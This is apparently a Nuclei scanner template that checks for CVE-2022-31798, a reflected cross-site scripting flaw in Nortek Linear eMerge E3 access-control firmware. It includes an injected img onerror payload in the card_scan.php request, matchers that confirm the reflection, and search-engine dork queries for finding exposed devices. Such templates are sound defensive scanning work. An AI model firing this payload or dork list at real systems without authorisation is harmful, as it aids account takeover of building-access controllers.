id: CVE-2022-31798

info:
  name: Nortek Linear eMerge E3-Series - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    There is a local session fixation vulnerability that, when chained with cross-site scripting, leads to account take over of admin or a lower privileged user.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in the Nortek Linear eMerge E3-Series.
  reference:
    - https://packetstormsecurity.com/files/167992/
    - http://packetstormsecurity.com/files/167992/Nortek-Linear-eMerge-E3-Series-Account-Takeover.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31798
    - https://eg.linkedin.com/in/omar-1-hashem
    - https://gist.github.com/omarhashem123/bccdcec70ab7e8f00519d56ea2e3fd79
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-31798
    cwe-id: CWE-384
    epss-score: 0.00126
    epss-percentile: 0.47221
    cpe: cpe:2.3:o:nortekcontrol:emerge_e3_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nortekcontrol
    product: emerge_e3_firmware
    shodan-query:
      - http.title:"eMerge"
      - http.title:"emerge"
      - http.title:"linear emerge"
    fofa-query:
      - title="emerge"
      - title="linear emerge"
    google-query:
      - intitle:"linear emerge"
      - intitle:"emerge"
  tags: cve2022,cve,emerge,nortek,xss,packetstorm,nortekcontrol

http:
  - method: GET
    path:
      - '{{BaseURL}}/card_scan.php?No=0000&ReaderNo=0000&CardFormatNo=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ',"CardFormatNo":"<img src=x onerror=alert(document.domain)>"}'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022030ee7d6a26c5750dd17c5b5bc00732ddf2c5d9c2c0c0a02e44d22bf7b1070495022100cdcd84d58eb781478f4c4dedbb9e86f83c8b80df90b61eef319c30c22ce1c7f1:922c64590222798bb761d5b6d8e72950